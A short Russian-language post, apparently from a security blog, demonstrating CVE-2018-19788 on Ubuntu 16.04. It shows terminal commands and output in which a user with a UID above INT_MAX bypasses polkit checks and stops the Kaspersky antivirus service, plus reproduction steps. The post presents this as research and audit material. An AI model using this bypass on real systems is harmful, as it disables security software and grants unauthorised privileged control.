Недавно мы рассмотрели уязвимость CVE-2018-19788 в этой статье.
Давайте посмотрим ее на практике.
версия systemd :
$ systemctl --version systemd 229 +PAM +AUDIT +SELINUX +IMA +APPARMOR +SMACK +SYSVINIT +UTMP +LIBCRYPTSETUP +GCRYPT +GNUTLS +ACL +XZ -LZ4 +SECCOMP +BLKID +ELFUTILS +KMOD -IDN
Для полноты:
$ pkttyagent --version pkttyagent version 0.105
Используемый дистрибутив:
$ cat /etc/issue Ubuntu 16.04.3 LTS \n \l
Ожидаемое поведение, которого вы не увидите
$ id uid=4000000000(user1) gid=20001(user1) группы=20001(user1)
$ systemctl stop kesl-supervisor.service Failed to stop kesl-supervisor.service: Access denied See system logs and 'systemctl status kesl-supervisor.service' for details.
Неожиданное поведение, которое вы увидите
$ id uid=4000000000(user1) gid=20001(user1) группы=20001(user1) $ systemctl stop kesl-supervisor.service (process:10348): GLib-GObject-WARNING **: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) $ service kesl-supervisor status ● kesl-supervisor.service - kesl Loaded: loaded (/etc/systemd/system/kesl-supervisor.service; enabled; vendor Active: inactive (dead) since Ср 2018-12-12 10:05:38 MSK; 9s ago Process: 10246 ExecStop=/etc/init.d/kesl-supervisor stop (code=exited, status= Process: 815 ExecStart=/etc/init.d/kesl-supervisor start (code=exited, status= Main PID: 860 (code=exited, status=0/SUCCESS)
Как видите, мы остановили службу Антивируса Kaspersky
Шаги, чтобы воспроизвести проблему
- создать пользователя с UID> INT_MAX, например, 4000000000
- запустить любую команду systemctl
¯\_(ツ)_/¯
Примечание: Информация для исследования, обучения или проведения аудита. Применение в корыстных целях карается законодательством РФ.